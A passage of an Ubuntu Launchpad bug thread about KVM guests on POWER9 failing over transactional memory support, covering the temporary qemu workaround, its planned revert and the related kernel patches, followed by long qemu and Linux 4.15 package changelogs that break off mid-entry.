type but with cap-htm=on + +Starting the fix in qemu early next week then (the one outlined as (A) in comment #4. + + +FYI: There is bug 1753826 which postponed the release/testing of this one a bit. +Currently in rebuild/test together. + +Fix pushed to bionic proposed, I'll track migration after it built and some time for the tests have passed. + +BTW - tests on P8 are already good on my side, and since the request from IBM came fro P9 I have to assume it will be good there. But e.g. cross release migration X->B and such I had tested explicitly to be sure. + +That said, please be aware that this will be a remaining "itch" for you at the current solution. +If somebody had guests on pre-Xenial it will have HTM enabled by default. +If those users migrate to a P9 system on Bionic they will still carry the feature of HTM being enabled and run into the issue, but there is nothing we can do about it other than getting your kernel fix completed and integrated. But I thought I make you aware to be sure. + +This bug was fixed in the package qemu - 1:2.11+dfsg-1ubuntu4 + +--------------- +qemu (1:2.11+dfsg-1ubuntu4) bionic; urgency=medium + + * d/p/ubuntu/define-ubuntu-machine-types.patch: Disable HTM feature for + ppc64el in spapr to let the defaults not fail on Power9 HW (LP: #1752026). + * d/p/ubuntu/lp1753826-memfd-fix-configure-test.patch: fix FTBFS with newer + versions of glibc >=2.27 (LP: #1753826) + + -- Christian Ehrhardt <email address hidden> Mon, 05 Mar 2018 16:43:01 +0100 + +------- Comment From <email address hidden> 2018-03-13 12:52 EDT------- +Paul's RFC patch to kernel, https://www.spinics.net/lists/kvm/msg165629.html + +Patch posted to lkml, but not yet accepted upstream. + +------- Comment From <email address hidden> 2018-03-20 16:38 EDT------- +I went to https://www.spinics.net/lists/kvm/msg165629.html but it only has source code change for the problem. + +Can Linux team build a patch against Ubuntu 18.04 kernel 4.15.0-12-generic for test team to install. Thanks + +------- Comment From <email address hidden> 2018-03-21 07:12 EDT------- +The latest version of the patches has been posted and is available at https://patchwork.ozlabs.org/project/kvm-ppc/list/?series=35017. I will add a note when the series has been put in a maintainer's tree. + +------- Comment From <email address hidden> 2018-03-21 12:20 EDT------- +Gustavo, would you please add this patch to the Ubuntu kernel you created with the trap/HMI patches? + +------- Comment From <email address hidden> 2018-03-22 15:48 EDT------- +- Today, I setup Ubuntu KVM on my Boston system using Ubuntu 18.04 daily build below + +http://cdimages.ubuntu.com/ubuntu-server/daily/current/ + +- With today build, it no longer has the Transaction Memory error when start up a KVM guest. So the fix in this LTCbug mhave made it into Ubuntu daily build. + +------- Comment From <email address hidden> 2018-03-23 01:53 EDT------- +(In reply to comment #43) +> - Today, I setup Ubuntu KVM on my Boston system using Ubuntu 18.04 daily +> build below +> +> http://cdimages.ubuntu.com/ubuntu-server/daily/current/ +> +> - With today build, it no longer has the Transaction Memory error when start +> up a KVM guest. So the fix in this LTCbug mhave made it into Ubuntu daily +> build. + +(In reply to comment #43) +> - Today, I setup Ubuntu KVM on my Boston system using Ubuntu 18.04 daily +> build below +> +> http://cdimages.ubuntu.com/ubuntu-server/daily/current/ +> +> - With today build, it no longer has the Transaction Memory error when start +> up a KVM guest. So the fix in this LTCbug mhave made it into Ubuntu daily +> build. + +Hi Nguyen, + +Pauls patch(https://patchwork.ozlabs.org/project/kvm-ppc/list/?series=35017) yet to get merged in linux master as of now{f36b7534b833 (HEAD -> master, upstream/master) Merge branch 'akpm' (patches from Andrew)} + +Does ubuntu daily kernel include custom patches? + +If it does not include custom patches and one reason why you do not hit the issue now, coz qemu disable cap-htm by default temporarily till the above kernel patches included, check if that is the case. + +you can confirm the TM patches are included by explicitly start qemu-kvm command with cap-htm=on + +Regards, +-Satheesh. + +------- Comment From <email address hidden> 2018-04-02 19:22 EDT------- +The patches that make it possible to use HTM in guests running on POWER9 processors are now in the PowerPC kernel maintainer tree and will be requested to get merged into kernel 4.17: + +681c617b7c42 KVM: PPC: Book3S HV: Work around TEXASR bug in fake suspend state +87a11bb6a7f7 KVM: PPC: Book3S HV: Work around XER[SO] bug in fake suspend mode +4bb3c7a0208f KVM: PPC: Book3S HV: Work around transactional memory bugs in POWER9 +7672691a08c8 powerpc/powernv: Provide a way to force a core into SMT4 mode +b5af4f279323 powerpc: Add CPU feature bits for TM bug workarounds on POWER9 v2.2 +9bbf0b576d32 powerpc: Free up CPU feature bits on 64-bit machines +dd0efb3f11cc powerpc: Book E: Remove unused CPU_FTR_L2CSR bit +c0d64cf9fefd powerpc: Use feature bit for RTC presence rather than timebase presence + +Fom Paul Mackerras: for a backport, we can probably avoid the feature bit rework, I hope, and just find two free CPU feature bits. If there aren't 2 free feature bits then let me know, we might be able to scavenge some that are only used on Book E or something. + +Since the kernel team is now investigating the integration of the kernel patches into bionic (the kernel bits are already Fix Committed), we should plan to get the temporary workaround again removed from qemu-kvm. +It's hard to time it in a way that the kernel changes are rolled-out and the qemu workaround got removed at the same time. +So this could lead to a short time of the qemu mitigation being reverted, but the kernel not yet being released, which would make you need the cap-htm=0ff workaround. But that way it would be much safer that both changes are available prior to the release of 18.04 Bionic. +Hence the question (to IBM) is if it would be okay to plan ahead and to get the qemu changes reverted back now? + +------- Comment From <email address hidden> 2018-04-04 04:18 EDT------- +(In reply to comment #48) +> Since the kernel team is now investigating the integration of the kernel +> patches into bionic (the kernel bits are already Fix Committed), we should +> plan to get the temporary workaround again removed from qemu-kvm. +> It's hard to time it in a way that the kernel changes are rolled-out and the +> qemu workaround got removed at the same time. +> So this could lead to a short time of the qemu mitigation being reverted, +> but the kernel not yet being released, which would make you need the +> cap-htm=0ff workaround. But that way it would be much safer that both +> changes are available prior to the release of 18.04 Bionic. +> Hence the question (to IBM) is if it would be okay to plan ahead and to get +> the qemu changes reverted back now? + +Yes, we need the qemu workaround to be removed. I see all required kernel patches are in master-next of bionic. Understand that both of these cannot be timed.. but having qemu changes revert today.. would we get updated kernel and qemu in tomorrows daily build? just wanted to understand what would be time window.. + +It's not possible to turn around a kernel that quickly. I intend to get a kernel with the fix uploaded bionic-proposed today, but it takes a few days at minimum to get it built, tested, and promoted to the -release pocket. + +@Seth - that is fine, for the Kernel we only need to rely on "will be out before Bionic release" and that looks good - don't feel pushed. +The updates were about asking IBM "If we assume the kernel fixes will be there, should we remove the qemu mitigation (as we can't remove it after Bionic release date)". + +------- Comment From <email address hidden> 2018-04-04 08:50 EDT------- +Hi Frank, + +First of all, thanks for caring about this bug and accepting the out-of-the-tree patches. + +You are right, the motivation to include this patchset is to re-enable the HTM in the KVM guests. So, we just need to schedule the fixes on both side. + +Here are some assumptions I have: + +1) If you need to revert the qemu-kvm "HTM off" patches right now, We can survive, since we have a internal kernel that contains the fix, and we can use this custom kernel in the mean time. Not a big deal. + +2) On the other side, I understand that the Final Freeze for Ubuntu will be in April 19th, so, we still have some time to release qemu, how long can we wait without affecting the time to we spend testing this package? + +3) Releasing the fixed kernel prior to the fixed qemu package would be better than the other way around. + +4) Can't we fix fix qemu now and keep it in the proposed until the kernel is released? + +Thanks! + +------- Comment From <email address hidden> 2018-04-04 08:55 EDT------- +One other possibility could be to have the changes going into the kernel and, then, remove the workaround from QEMU. QEMU with the workaround should continue to work with the kernel with the proper changes. HTM will be disabled in the guests, which would not be needed anymore, but would not block a VM from running. + +Anyway, I am OK either way. We need to make progress here and I understand this came in late. We need to have the fixes in the kernel and the workaround out of QEMU. If that means we will have a broken QEMU for few days, that would be OK. We can continue our tests with previous versions of kernel and QEMU until everything is settled in bionic repositories or disable HTM by hand when running tests. + +@Breno - I agree to #3 but since we have no hard ETA on the kernel I want to avoid punting qemu to the very last few days. History told me that always something happens/blocks and if we would miss GA we can't SRu to keep the final pseries-bionic type in sync. + +For #4 there is no good "keep in proposed" for the current Dev release. + +I discussed with lagarcia and JFH on IRC once more: +... +[15:02] <lagarcia_> cpaelzer, I am OK with that. TBH, we can live with QEMU removing the workaround now or after the kernel has been changed. +[15:05] <cpaelzer> there was a bug update by breno 3 minutes ago +[15:05] * cpaelzer is reading +[15:06] <cpaelzer> oh I see, and your comment - mirrored both at once +[15:06] <cpaelzer> my concern is that if anything comes up late +[15:06] <cpaelzer> we might end up with the qemu change not reverted +[15:07] <cpaelzer> as after release it becomes an issue +[15:07] <cpaelzer> and will no more be removable +[15:07] <cpaelzer> for consistency of the pseries-bionic type +[15:07] <jfh1> cpaelzer, lagarcia: ah - just saw the ticket update and a reply from Breno ... +[15:08] <cpaelzer> jfh1: do we have anything like an expected date by the kernel Team? +[15:08] <cpaelzer> I'd not want to wait with qemu later than end of this week TBH +[15:08] <cpaelzer> history teached me not to try changing things last minute +[15:08] <jfh1> cpaelzer: I agree - there is always the option to pin a package to prevent it from getting updated +[15:09] <jfh1> that can be an option for those guys who still need to KVM on P9 ... +[15:09] <cpaelzer> jfh1: lagarcia_: so are we agreeing that I'll revert the avoidance in qemu now considering the various constraints? +[15:09] * cpaelzer is +1 +[15:10] <jfh1> I think so ... +[15:12] <lagarcia_> cpaelzer, yep +[15:13] <lagarcia_> cpaelzer, when the patches reach bionic kernel, everything should work out of the box. Meanwhile, we can implement the workaround by hand. + + +With all that said, I'm including the revert of the current mitigation from the next qemu upload. + +Revert will be hanlded via bug 1761175 + +@ lagarcia and Breno: +People/tester who still need the patched qemu can prevent that from being upgraded by pinning it aka marking it as hold (https://help.ubuntu.com/community/PinningHowto). +Even in case of an accidental upgrade - it's easy to go again back to that version. + +------- Comment From <email address hidden> 2018-04-10 06:53 EDT------- +We have got the qemu build with htm-on today [April 10th]. Now we are able to start compat mode guests with htm-on.. apart from bug 166570 things look good. We can close this one. + +This bug was fixed in the package linux - 4.15.0-15.16 + +--------------- +linux (4.15.0-15.16) bionic; urgency=medium + + * linux: 4.15.0-15.16 -proposed tracker (LP: #1761177) + + * FFe: Enable configuring resume offset via sysfs (LP: #1760106) + - PM / hibernate: Make passing hibernate offsets more friendly + + * /dev/bcache/by-uuid links not created after reboot (LP: #1729145) + - SAUCE: (no-up) bcache: decouple emitting a cached_dev CHANGE uevent + + * Ubuntu18.04:POWER9:DD2.2 - Unable to start a KVM guest with default machine + type(pseries-bionic) complaining "KVM implementation does not support + Transactional Memory, try cap-htm=off" (kvm) (LP: #1752026) + - powerpc: Use feature bit for RTC presence rather than timebase presence + - powerpc: Book E: Remove unused CPU_FTR_L2CSR bit + - powerpc: Free up CPU feature bits on 64-bit machines + - powerpc: Add CPU feature bits for TM bug workarounds on POWER9 v2.2 + - powerpc/powernv: Provide a way to force a core into SMT4 mode + - KVM: PPC: Book3S HV: Work around transactional memory bugs in POWER9 + - KVM: PPC: Book3S HV: Work around XER[SO] bug in fake suspend mode + - KVM: PPC: Book3S HV: Work around TEXASR bug in fake suspend state + + * Important Kernel fixes to be backported for Power9 (kvm) (LP: #1758910) + - powerpc/mm: Fixup tlbie vs store ordering issue on POWER9 + + * Ubuntu 18.04 - IO Hang on some namespaces when running HTX with 16 + namespaces (Bolt / NVMe) (LP: #1757497) + - powerpc/64s: Fix lost pending interrupt due to race causing lost update to + irq_happened + + * fwts-efi-runtime-dkms 18.03.00-0ubuntu1: fwts-efi-runtime-dkms kernel module + failed to build (LP: #1760876) + - [Packaging] include the retpoline extractor in the headers + +linux (4.15.0-14.15) bionic; urgency=medium + + * linux: 4.15.0-14.15 -proposed tracker (LP: #1760678) + + * [Bionic] mlx4 ETH - mlnx_qos failed when set some TC to vendor + (LP: #1758662) + - net/mlx4_en: Change default QoS settings + + * AT_BASE_PLATFORM in AUXV is absent on kernels available on Ubuntu 17.10 + (LP: #1759312) + - powerpc/64s: Fix NULL AT_BASE_PLATFORM when using DT CPU features + + * Bionic update to 4.15.15 stable release (LP: #1760585) + - net: dsa: Fix dsa_is_user_port() test inversion + - openvswitch: meter: fix the incorrect calculation of max delta_t + - qed: Fix MPA unalign flow in case header is split across two packets. + - tcp: purge write queue upon aborting the connection + - qed: Fix non TCP packets should be dropped on iWARP ll2 connection + - sysfs: symlink: export sysfs_create_link_nowarn() + - net: phy: relax error checking when creating sysfs link netdev->phydev + - devlink: Remove redundant free on error path + - macvlan: filter out unsupported feature flags + - net: ipv6: keep sk status consistent after datagram connect failure + - ipv6: old_dport should be a __be16 in __ip6_datagram_connect() + - ipv6: sr: fix NULL pointer dereference when setting encap source address + - ipv6: sr: fix scheduling in RCU when creating seg6 lwtunnel state + - mlxsw: spectrum_buffers: Set a minimum quota for CPU port traffic + - net: phy: Tell caller result of phy_change() + - ipv6: Reflect MTU changes on PMTU of exceptions for MTU-less routes + - net sched actions: return explicit error when tunnel_key mode is not + specified + - ppp: avoid loop in xmit recursion detection code + - rhashtable: Fix rhlist duplicates insertion + - test_rhashtable: add test case for rhltable with duplicate objects + - kcm: lock lower socket in kcm_attach + - sch_netem: fix skb leak in netem_enqueue() + - ieee802154: 6lowpan: fix possible NULL deref in lowpan_device_event() + - net: use skb_to_full_sk() in skb_update_prio() + - net: Fix hlist corruptions in inet_evict_bucket() + - s390/qeth: free netdevice when removing a card + - s390/qeth: when thread completes, wake up all waiters + - s390/qeth: lock read device while queueing next buffer + - s390/qeth: on channel error, reject further cmd requests + - soc/fsl/qbman: fix issue in qman_delete_cgr_safe() + - dpaa_eth: fix error in dpaa_remove() + - dpaa_eth: remove duplicate initialization + - dpaa_eth: increment the RX dropped counter when needed + - dpaa_eth: remove duplicate increment of the tx_errors counter + - dccp: check sk for closed state in dccp_sendmsg() + - ipv6: fix access to non-linear packet in ndisc_fill_redirect_hdr_option() + - l2tp: do not accept arbitrary sockets + - net: ethernet: arc: Fix a potential memory leak if an optional regulator is + deferred + - net: ethernet: ti: cpsw: add check for in-band mode setting with RGMII PHY + interface + - net: fec: Fix unbalanced PM runtime calls + - net/iucv: Free memory obtained by kzalloc + - netlink: avoid a double skb free in genlmsg_mcast() + - net: Only honor ifindex in IP_PKTINFO if non-0 + - net: systemport: Rewrite __bcm_sysport_tx_reclaim() + - qede: Fix qedr link update + - skbuff: Fix not waking applications when errors are enqueued + - team: Fix double free in error path + - Linux 4.15.15 + + * Ubuntu 18.04 [ WSP DD2.2 with stop4 and stop5 enabled ]: kdump fails to + capture dump when smt=2 or off. (LP: #1758206) + - powerpc/crash: Remove the test for cpu_online in the IPI callback + - powernv/kdump: Fix cases where the kdump kernel can get HMI's + - powerpc/kdump: Fix powernv build break when KEXEC_CORE=n + + * [Intel Ubuntu 18.04 Bug] Null pointer dereference, when disconnecting RAID + rebuild target (LP: #1759279) + - md: document lifetime of internal rdev pointer. + + * [Feature]Crystal Ridge:add support for the platform capabilities NFIT sub- + table in ACPI 6.2A (LP: #1730829) + - ACPICA: ACPI 6.0A: Changes to the NFIT ACPI table + - acpi: nfit: Add support for detect platform CPU cache flush on power loss + - acpi: nfit: add persistent memory control flag for nd_region + - libnvdimm: expose platform persistence attribute for nd_region + - libnvdimm: re-enable deep flush for pmem devices via fsync() + - libnvdimm, nfit: fix persistence domain reporting + + * Allow multiple mounts of zfs datasets (LP: #1759848) + - SAUCE: Allow mounting datasets more than once (LP: #1759848) + + * Update Aquantia driver to fix various issues (LP: #1759303) + - net: aquantia: Eliminate AQ_DIMOF, replace with ARRAY_SIZE + - net: aquantia: Cleanup status flags accesses + - net: aquantia: Cleanup hardware access modules + - net: aquantia: Remove duplicate hardware descriptors declarations + - net: aquantia: Add const qualifiers for hardware ops tables + - net: aquantia: Simplify dependencies between pci modules + - net: aquantia: Eliminate aq_nic structure abstraction + - net: aquantia: Fix register definitions to linux style + - net: aquantia: Prepend hw access functions declarations with prefix + - net: aquantia: Fix internal stats calculation on rx + - net: aquantia: Introduce new device ids and constants + - net: aquantia: Introduce new AQC devices and capabilities + - net: aquantia: Convert hw and caps structures to const static pointers + - net: aquantia: Cleanup pci functions module + - net: aquantia: Remove create/destroy from hw ops + - net: aquantia: Change confusing no_ff_addr to more meaningful name + - net: aquantia: Introduce firmware ops callbacks + - net: aquantia: Introduce support for new firmware on AQC cards + - net: aquantia: Introduce global AQC hardware reset sequence + - net: aquantia: Report correct mediatype via ethtool + - net: aquantia: bump driver version to match aquantia internal numbering + - net: aquantia: Fix hardware reset when SPI may rarely hangup + - net: aquantia: Fix a regression with reset on old firmware + - net: aquantia: Change inefficient wait loop on fw data reads + - net: aquantia: Add tx clean budget and valid budget handling logic + - net: aquantia: Allow live mac address changes + - net: aquantia: Implement pci shutdown callback + - net: aquantia: driver version bump + + * ISST-LTE:KVM:Ubuntu1804:BostonLC:boslcp3: cpu hotplug on boslcp3g4 guest + dumping call traces continuously. (LP: #1759722) + - blk-mq: turn WARN_ON in __blk_mq_run_hw_queue into printk + + * ISST-LTE:KVM:Ubuntu18.04:BostonLC:boslcp3:boslcp3g3:Guest conosle hangs + after hotplug CPU add operation. (LP: #1759723) + - genirq/affinity: assign vectors to all possible CPUs + - blk-mq: simplify queue mapping & schedule with each possisble CPU + + * test_bpf fails (LP: #1756150) + - test_bpf: Fix testing with CONFIG_BPF_JIT_ALWAYS_ON=y on other arches + + * Bionic update to v4.15.14 stable release (LP: #1759655) + - MIPS: ralink: Remove ralink_halt() + - MIPS: ralink: Fix booting on MT7621 + - MIPS: lantiq: Fix Danube USB clock + - MIPS: lantiq: Enable AHB Bus for USB + - MIPS: lantiq: ase: Enable MFD_SYSCON + - iio: chemical: ccs811: Corrected firmware boot/application mode transition + - iio: st_pressure: st_accel: pass correct platform data to init + - iio: adc: meson-saradc: unlock on error in meson_sar_adc_lock() + - ALSA: usb-audio: Fix parsing descriptor of UAC2 processing unit + - ALSA: aloop: Sync stale timer before release + - ALSA: aloop: Fix access to not-yet-ready substream via cable + - ALSA: hda - Force polling mode on CFL for fixing codec communication + - ALSA: hda/realtek - Fix speaker no sound after system resume + - ALSA: hda/realtek - Fix Dell headset Mic can't record + - ALSA: hda/realtek - Always immediately update mute LED with pin VREF + - mmc: core: Fix tracepoint print of blk_addr and blksz + - mmc: core: Disable HPI for certain Micron (Numonyx) eMMC cards + - mmc: block: fix updating ext_csd caches on ioctl call + - mmc: dw_mmc: Fix the DTO/CTO timeout overflow calculation for 32-bit systems + - mmc: dw_mmc: exynos: fix the suspend/resume issue for exynos5433 + - mmc: dw_mmc: fix falling from idmac to PIO mode when dw_mci_reset occurs + - PCI: Add function 1 DMA alias quirk for Highpoint RocketRAID 644L + - ahci: Add PCI-id for the Highpoint Rocketraid 644L card + - lockdep: fix fs_reclaim warning + - clk: bcm2835: Fix ana->maskX definitions + - clk: bcm2835: Protect sections updating shared registers + - clk: sunxi-ng: a31: Fix CLK_OUT_* clock ops + - RDMA/mlx5: Fix crash while accessing garbage pointer and freed memory + - Drivers: hv: vmbus: Fix ring buffer signaling + - pinctrl: samsung: Validate alias coming from DT + - Bluetooth: btusb: Remove Yoga 920 from the btusb_needs_reset_resume_table + - Bluetooth: btusb: Add Dell OptiPlex 3060 to btusb_needs_reset_resume_table + - Bluetooth: btusb: Fix quirk for Atheros 1525/QCA6174 + - libata: fix length validation of ATAPI-relayed SCSI commands + - libata: remove WARN() for DMA or PIO command without data + - libata: don't try to pass through NCQ commands to non-NCQ devices + - libata: Apply NOLPM quirk to Crucial MX100 512GB SSDs + - libata: Enable queued TRIM for Samsung SSD 860 + - libata: Apply NOLPM quirk to Crucial M500 480 and 960GB SSDs + - libata: Make Crucial BX100 500GB LPM quirk apply to all firmware versions + - libata: Modify quirks for MX100 to limit NCQ_TRIM quirk to MU01 version + - sched, cgroup: Don't reject lower cpu.max on ancestors + - cgroup: fix rule checking for threaded mode switching + - nfsd: remove blocked locks on client teardown + - media: tegra-cec: reset rx_buf_cnt when start bit detected + - hugetlbfs: check for pgoff value overflow + - h8300: remove extraneous __BIG_ENDIAN definition + - mm/vmalloc: add interfaces to free unmapped page table + - x86/mm: implement free pmd/pte page interfaces + - mm/khugepaged.c: convert VM_BUG_ON() to collapse fail + - mm/thp: do not wait for lock_page() in deferred_split_scan() + - mm/shmem: do not wait for lock_page() in shmem_unused_huge_shrink() + - Revert "mm: page_alloc: skip over regions of invalid pfns where possible" + - drm/vmwgfx: Fix black screen and device errors when running without fbdev + - drm/vmwgfx: Fix a destoy-while-held mutex problem. + - drm/radeon: Don't turn off DP sink when disconnected + - drm/amd/display: We shouldn't set format_default on plane as atomic driver + - drm/amd/display: Add one to EDID's audio channel count when passing to DC + - drm: Reject getfb for multi-plane framebuffers + - drm: udl: Properly check framebuffer mmap offsets + - mm/vmscan: wake up flushers for legacy cgroups too + - module: propagate error in modules_open() + - acpi, numa: fix pxm to online numa node associations + - ACPI / watchdog: Fix off-by-one error at resource assignment + - libnvdimm, {btt, blk}: do integrity setup before add_disk() + - brcmfmac: fix P2P_DEVICE ethernet address generation + - rtlwifi: rtl8723be: Fix loss of signal + - tracing: probeevent: Fix to support minus offset from symbol + - mtdchar: fix usage of mtd_ooblayout_ecc() + - mtd: nand: fsl_ifc: Fix nand waitfunc return value + - mtd: nand: fsl_ifc: Fix eccstat array overflow for IFC ver >= 2.0.0 + - mtd: nand: fsl_ifc: Read ECCSTAT0 and ECCSTAT1 registers for IFC 2.0 + - staging: ncpfs: memory corruption in ncp_read_kernel() + - can: peak/pcie_fd: fix echo_skb is occupied! bug + - can: peak/pcie_fd: remove useless code when interface starts + - can: ifi: Repair the error handling + - can: ifi: Check core revision upon probe + - can: cc770: Fix stalls on rt-linux, remove redundant IRQ ack + - can: cc770: Fix queue stall & dropped RTR reply + - can: cc770: Fix use after free in cc770_tx_interrupt() + - tty: vt: fix up tabstops properly + - x86/entry/64: Don't use IST entry for #BP stack + - selftests/x86/ptrace_syscall: Fix for yet more glibc interference + - x86/vsyscall/64: Use proper accessor to update P4D entry + - x86/efi: Free efi_pgd with free_pages() + - posix-timers: Protect posix clock array access against speculation + - kvm/x86: fix icebp instruction handling + - x86/build/64: Force the linker to use 2MB page size + - x86/boot/64: Verify alignment of the LOAD segment + - hwmon: (k10temp) Only apply temperature offset if result is positive + - hwmon: (k10temp) Add temperature offset for Ryzen 1900X + - perf/x86/intel/uncore: Fix Skylake UPI event format + - perf stat: Fix CVS output format for non-supported counters + - perf/core: Fix ctx_event_type in ctx_resched() + - trace/bpf: remove helper bpf_perf_prog_read_value from tracepoint type + programs + - perf/x86/intel: Don't accidentally clear high bits in bdw_limit_period() + - perf/x86/intel/uncore: Fix multi-domain PCI CHA enumeration bug on Skylake + servers + - iio: ABI: Fix name of timestamp sysfs file + - iio: imu: st_lsm6dsx: fix endianness in st_lsm6dsx_read_oneshot() + - iio: imu: st_lsm6dsx: introduce conf_lock mutex + - staging: android: ion: Zero CMA allocated memory + - kbuild: disable clang's default use of -fmerge-all-constants + - bpf: skip unnecessary capability check + - bpf, x64: increase number of passes + - Linux 4.15.14 + + * System fails to start (boot) on battery due to read-only root file-system + (LP: #1726930) // Bionic update to v4.15.14 stable release (LP: #1759655) + - libata: disable LPM for Crucial BX100 SSD 500GB drive + + * [Feature][CFL][ICL] [CNL]Thunderbolt support (Titan Ridge) (LP: #1730775) + - thunderbolt: Resume control channel after hibernation image is created + - thunderbolt: Serialize PCIe tunnel creation with PCI rescan + - thunderbolt: Handle connecting device in place of host properly + - thunderbolt: Do not overwrite error code when domain adding fails + - thunderbolt: Wait a bit longer for root switch config space + - thunderbolt: Wait a bit longer for ICM to authenticate the active NVM + - thunderbolt: Handle rejected Thunderbolt devices + - thunderbolt: Factor common ICM add and update operations out + - thunderbolt: Correct function name in kernel-doc comment + - thunderbolt: Add tb_switch_get() + - thunderbolt: Add tb_switch_find_by_route() + - thunderbolt: Add tb_xdomain_find_by_route() + - thunderbolt: Add constant for approval timeout + - thunderbolt: Move driver ready handling to struct icm + - thunderbolt: Add 'boot' attribute for devices + - thunderbolt: Add support for preboot ACL + - Documentation/admin-guide: fixes for thunderbolt.rst + - thunderbolt: Introduce USB only (SL4) security level + - thunderbolt: Add support for Intel Titan Ridge + + * QCA9377 requires more IRAM banks for its new firmware (LP: #1748345) + - ath10k: update the IRAM bank number for QCA9377 + + * nfp: fix disabling on hw-tc-offload in flower (LP: #1752828) + - nfp: bpf: require ETH table + - nfp: don't advertise hw-tc-offload on non-port netdevs + - nfp: forbid disabling hw-tc-offload on representors while offload active + + * Fix an issue that when system in S3, USB keyboard can't wake up the system. + (LP: #1759511) + - ACPI / PM: Allow deeper wakeup power states with no _SxD nor _SxW + + * retpoline hints: primary infrastructure and initial hints (LP: #1758856) + - [Packaging] retpoline -- add safe usage hint support + - [Packaging] retpoline-check -- only report additions + - [Packaging] retpoline -- widen indirect call/jmp detection + - [Packaging] retpoline -- elide %rip relative indirections + - [Packaging] retpoline -- clear hint information from packages + - SAUCE: apm -- annotate indirect calls within + firmware_restrict_branch_speculation_{start,end} + - SAUCE: EFI -- annotate indirect calls within + firmware_restrict_branch_speculation_{start,end} + - SAUCE: early/late -- annotate indirect calls in early/late initialisation + code + - SAUCE: vga_set_mode -- avoid jump tables + - [Config] retpoine -- switch to new format + + * zfs system process hung on container stop/delete (LP: #1754584) + - SAUCE: Fix non-prefaulted page deadlock (LP: #1754584) + - Revert "UBUNTU: SAUCE: Fix non-prefaulted page deadlock (LP: #1754584)" + - SAUCE: Fix non-prefaulted page deadlock (LP: #1754584) + + * Important KVM fixes for ppc64el (LP: #1759045) + - KVM: PPC: Book3S HV: Do SLB load/unload with guest LPCR value loaded + - KVM: PPC: Book3S HV: Fix handling of secondary HPTEG in HPT resizing code + - KVM: PPC: Book3S HV: Make HPT resizing work on POWER9 + - KVM: PPC: Book3S: Add MMIO emulation for VMX instructions + - KVM: PPC: Book3S: Fix compile error that occurs with some gcc versions + - KVM: PPC: Book3S HV: Fix trap number return from __kvmppc_vcore_entry + - KVM: PPC: Book3S HV: Fix duplication of host SLB entries + + * ubuntu_zram_smoke test will cause soft lockup on Artful ThunderX ARM64 + (LP: #1755073) + - SAUCE: crypto: thunderx_zip: Fix fallout from CONFIG_VMAP_STACK + + * Update to ocxl driver (LP: #1755161) + - ocxl: fix signed comparison with less than zero + - ocxl: Fix potential bad errno on irq allocation + - ocxl: Add get_metadata IOCTL to share OCXL information to userspace + + * CAPI Flash (cxlflash) update (LP: #1752672) + - scsi: cxlflash: Update cxl-specific arguments to generic cookie + - scsi: cxlflash: Explicitly cache number of interrupts per context + - scsi: cxlflash: Remove embedded CXL work structures + - scsi: cxlflash: Adapter context init can return error + - scsi: cxlflash: Staging to support future accelerators + - SAUCE: cxlflash: Preserve number of interrupts for master contexts + - SAUCE: cxlflash: Avoid clobbering context control register value + - SAUCE: cxlflash: Add argument identifier names + - SAUCE: cxlflash: Introduce OCXL backend + - SAUCE: cxlflash: Hardware AFU for OCXL + - SAUCE: cxlflash: Read host function configuration + - SAUCE: cxlflash: Setup function acTag range + - SAUCE: cxlflash: Read host AFU configuration + - SAUCE: cxlflash: Setup AFU acTag range + - SAUCE: cxlflash: Setup AFU PASID + - SAUCE: cxlflash: Adapter context support for OCXL + - SAUCE: cxlflash: Use IDR to manage adapter contexts + - SAUCE: cxlflash: Support adapter file descriptors for OCXL + - SAUCE: cxlflash: Support adapter context discovery + - SAUCE: cxlflash: Support image reload policy modification + - SAUCE: cxlflash: MMIO map the AFU + - SAUCE: cxlflash: Support starting an adapter context + - SAUCE: cxlflash: Support process specific mappings + - SAUCE: cxlflash: Support AFU state toggling + - SAUCE: cxlflash: Support reading adapter VPD data + - SAUCE: cxlflash: Setup function OCXL link + - SAUCE: cxlflash: Setup OCXL transaction layer + - SAUCE: cxlflash: Support process element lifecycle + - SAUCE: cxlflash: Support AFU interrupt management + - SAUCE: cxlflash: Support AFU interrupt mapping and registration + - SAUCE: cxlflash: Support starting user contexts + - SAUCE: cxlflash: Support adapter context polling + - SAUCE: cxlflash: Support adapter context reading + - SAUCE: cxlflash: Support adapter context mmap and release + - SAUCE: cxlflash: Support file descriptor mapping + - SAUCE: cxlflash: Introduce object handle fop + - SAUCE: cxlflash: Setup LISNs for user contexts + - SAUCE: cxlflash: Setup LISNs for master contexts + - SAUCE: cxlflash: Update synchronous interrupt status bits + - SAUCE: cxlflash: Introduce OCXL context state machine + - SAUCE: cxlflash: Register for translation errors + - SAUCE: cxlflash: Support AFU reset + - SAUCE: cxlflash: Enable OCXL operations + + * [Feature][CFL] Enable pmc_core driver for H, S, and U SKUs (LP: #1730770) + - platform/x86: intel_pmc_core: Remove unused EXPORTED API + - platform/x86: intel_pmc_core: Change driver to a module + - platform/x86: intel_pmc_core: Fix file permission warnings + - platform/x86: intel_pmc_core: Refactor debugfs entries + - platform/x86: intel_pmc_core: Substitute PCI with CPUID enumeration + - platform/x86: intel_pmc_core: Convert to ICPU macro + - platform/x86: intel_pmc_core: Remove unused header file + - ACPI / LPIT: Export lpit_read_residency_count_address() + - platform/x86: intel_pmc_core: Read base address from LPIT + - x86/cpu: Add Cannonlake to Intel family + - platform/x86: intel_pmc_core: Add CannonLake PCH support + - platform/x86: intel_pmc_core: Special case for Coffeelake + + * Cpu utilization showing system time for kvm guests (performance) (sysstat) + (LP: #1755979) + - KVM: PPC: Book3S HV: Fix guest time accounting with VIRT_CPU_ACCOUNTING_GEN + + * [Artful][Wyse 3040] System hang when trying to enable an offlined CPU core + (LP: #1736393) + - SAUCE: drm/i915:Don't set chip specific data + - SAUCE: drm/i915: make previous commit affects Wyse 3040 only + + * [Bug] ISH support for CFL-H (LP: #1739522) + - HID: intel-ish-hid: Enable Cannon Lake and Coffee Lake laptop/desktop + + * ath9k can't connect to wifi AP (LP: #1727228) + - ath9k: add MSI support + - ath9k: add a quirk to set use_msi automatically + + * [P9,Power NV][Witherspoon][Ubuntu 18.04][Perf] : PMU events by name it is + not listed under perf list (LP: #1755470) + - iperf vendor events: Use more flexible pattern matching for CPU + identification for mapfile.csv + + * zed process consuming 100% cpu (LP: #1751796) + - SAUCE: Fix ioctl loop-spin in zed (LP: #1751796) + + * Bionic update to 4.15.13 stable release (LP: #1758886) + - scsi: megaraid_sas: Do not use 32-bit atomic request descriptor for Ventura + controllers + - staging: android: ashmem: Fix possible deadlock in ashmem_ioctl + - drm/amdgpu: use polling mem to set SDMA3 wptr for VF + - Bluetooth: hci_qca: Avoid 